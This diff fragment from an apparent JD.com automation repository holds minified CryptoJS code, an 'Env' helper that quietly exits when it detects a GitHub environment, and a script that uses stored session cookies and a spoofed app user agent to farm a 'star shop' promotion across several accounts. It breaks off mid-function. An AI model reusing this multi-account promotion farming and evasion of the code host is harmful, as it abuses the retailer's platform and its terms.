e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_star_shop.js b/backUp/jd_star_shop.js new file mode 100644 index 0000000..b85a6a7 --- /dev/null +++ b/backUp/jd_star_shop.js @@ -0,0 +1,503 @@ +/* + 9.18-10.9 明星小店 + cron 12 19 19-30 9 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_star_shop.js + */ +const $ = new Env('明星小店'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.inviteCodeList = []; +$.authorCodeList = []; +let cookiesArr = []; +$.linkID = ''; +let uniqueIdList = [ + {'id':'RU59FC','name':'尹正','linkID':'Q7qMuOyySR-qdWRz4YYR0w','taskId':259}, +]; +const rewardList = [ + 'Q7qMuOyySR-qdWRz4YYR0w', +] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`==================开始执行明星小店任务==================`); + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + if($.authorCodeList.length > 0){ + $.inviteCodeList.push(...getRandomArrayElements($.authorCodeList, 1)); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.taskId = false; + while (!$.taskId ){ + let sar = Math.floor((Math.random() * uniqueIdList.length)); + $.uniqueId = uniqueIdList[sar].id; + $.linkID = uniqueIdList[sar].linkID; + $.taskId = uniqueIdList[sar].taskId; + } + for (let k = 0; k < $.inviteCodeList.length; k++) { + $.oneCode = $.inviteCodeList[k]; + console.log(`${$.UserName}去助力:${$.uniqueId} 活动,助力码:${$.oneCode}`); + //await takePostRequest('help'); + await help() + await $.wait(2000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function help(){ + const url = `https://api.m.jd.com/?functionId=activityStarBackGetProgressInfo&body={%22starId%22:%22${$.uniqueId}%22,%22sharePin%22:%22${$.oneCode}%22,%22taskId%22:%22${$.taskId}%22,%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; + const headers = { + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }; + let myRequest = {url: url, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + try { + console.log(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function main() { + let sendMessage = ''; + uniqueIdList = getRandomArrayElements(uniqueIdList, uniqueIdList.length); + console.log(`现共查询到${uniqueIdList.length}个明星小店\n`); + for (let j = 0; j < uniqueIdList.length; j++) { + try{ + $.uniqueId = uniqueIdList[j].id; + $.helpCode = ''; + console.log(`开始第${j + 1}个明星小店,ID:${$.uniqueId},明星:${uniqueIdList[j].name}`); + $.linkID = uniqueIdList[j].linkID; + await starShop(); + await $.wait(1000); + if (j === 0) { + console.log(`互助码:${$.helpCode}`); + $.inviteCodeList.push($.helpCode); + } + console.log(`\n`); + }catch (e) { + console.log(JSON.stringify(e.message)); + } + } + console.log(`=============${$.UserName }:明星小店奖励汇总================`); + await $.wait(1000); + for (let i = 0; i < rewardList.length; i++) { + $.linkID = rewardList[i]; + $.rewards = []; + await getReward(); + for (let i = 0; i < $.rewards.length; i++) { + if ($.rewards[i].prizeType === 1) { + console.log(`获得优惠券`); + } else if ($.rewards[i].prizeType === 6) { + console.log(`获得明星照片或者视频`); + } else if ($.rewards[i].prizeType === 5) { + if(!$.rewards[i].fillReceiverFlag){ + console.log(`获得实物:${$.rewards[i].prizeDesc || ''},未填写地址`); + sendMessage += `【京东账号${$.index}】${$.UserName },获得实物:${$.rewards[i].prizeDesc || '' }\n`; + }else{ + console.log(`获得实物:${$.rewards[i].prizeDesc || ''},已填写地址`); + } + } else if ($.rewards[i].prizeType === 10) { + console.log(`获得京豆`); + } else { + console.log(`获得其他:${$.rewards[i].prizeDesc || ''}`); + } + } + } + if(sendMessage){ + sendMessage += `填写收货地址路径:\n京东首页,搜索明星(尹正),进入明星小店,我的礼物,填写收货地址`; + await notify.sendNotify(`星店长`, sendMessage); + } +} + + +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getUTCMonth() + 1, //月份 + "d+": this.getUTCDate(), //日 + "h+": this.getUTCHours(), //小时 + "m+": this.getUTCMinutes(), //分 + "s+": this.getUTCSeconds(), //秒 + "q+": Math.floor((this.getUTCMonth() + 3) / 3), //季度 + "S": this.getUTCMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getUTCFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +async function getReward() { + const url = `https://api.m.jd.com/?functionId=activityStarBackGetRewardList&body={%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; + const method = `GET`; + const headers = { + 'Origin': `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://prodev.m.jd.com/mall/active/7s5TYVpp8dKXF4FrDqe55H8esSV/index.html`, + 'Host': `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + const myRequest = {url: url, method: method, headers: headers,}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.code === 0) { + $.rewards = data.data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function starShop() { + $.info = {}; + //await takePostRequest('activityStarBackGetProgressBarInfo'); + await getInfo(); + if (JSON.stringify($.info) === '{}') { + console.log(`获取活动失败,ID:${$.uniqueId}`); + } + let prize = $.info.prize; + let runFlag = false; + for (let i = 1; i < 5; i++) { + $.onePrize = prize[i]; + if ($.onePrize.state === 1) { + console.log(`去抽奖,奖品为:${$.onePrize.name}`); + await takePostRequest('activityStarBackDrawPrize'); + await $.wait(2000); + } else if ($.onePrize.state === 0) { + runFlag = true; + } + } + if (!runFlag) { + console.log(`该明星小店已完成所有抽奖`); + return; + } + $.taskList = []; + await takePostRequest('apTaskList'); + await $.wait(2000); + $.runFlag = false; + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.taskFinished) { + console.log(`任务:${$.oneTask.taskTitle},已完成`); + continue; + } + if ($.oneTask.taskType === 'SHARE_INVITE') { + continue; + } + $.runFlag = true; + console.log(`去做任务:${$.oneTask.taskTitle}`); + if ($.oneTask.taskType === 'SIGN') { + await takePostRequest('SIGN'); + await $.wait(2000); + } else if ($.oneTask.taskType === 'BROWSE_CHANNEL' || $.oneTask.taskType === 'FOLLOW_SHOP') { + $.taskDetail = {}; + $.taskItemList = []; + await takePostRequest('apTaskDetail'); + $.taskItemList = $.taskDetail.taskItemList || []; + for (let j = 0; j < $.taskItemList.length; j++) { + $.oneItemInfo = $.taskItemList[j]; + console.log(`浏览:${$.oneItemInfo.itemName}`); + await takePostRequest('apDoTask'); + await $.wait(2000); + } + + } + } + if($.runFlag){ + await getInfo(); + prize = $.info.prize; + for (let i = 1; i < 5; i++) { + $.onePrize = prize[i]; + if ($.onePrize.state === 1) { + console.log(`去抽奖,奖品为:${$.onePrize.name}`); + await takePostRequest('activityStarBackDrawPrize'); + await $.wait(2000); + } + } + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'activityStarBackGetProgressBarInfo': + body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + console.log(body); + break; + case 'apTaskList': + body = `functionId=apTaskList&body={"uniqueId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'SIGN': + body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'apTaskDetail': + body = `functionId=apTaskDetail&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'apDoTask': + body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"${$.linkID}","itemId":"${encodeURIComponent($.oneItemInfo.itemId)}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'help': + body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","sharePin":"${$.oneCode}","taskId":"129","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + case 'activityStarBackDrawPrize': + body = `functionId=activityStarBackDrawPrize&body={"starId":"${$.uniqueId}","poolId":${$.onePrize.id},"pos":${$.onePrize.pos},"linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; + myRequest = getPostRequest(body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'activityStarBackGetProgressBarInfo': + if (data.code === 0) { + console.log(`${data.data.shareText}`); + $.helpCode = data.data.encryptPin; + $.info = data.data; + } + break; + case 'apTaskList': + if (data.code === 0) { + $.taskList = data.data; + } + break; + case 'SIGN': + if (data.code === 0) { + console.log('签到成功'); + } + break; + case 'apTaskDetail': + if (data.code === 0) { + $.taskDetail = data.data; + } + break; + case 'apDoTask': + if (data.code === 0) { + console.log('成功'); + } + break; + case 'help': + 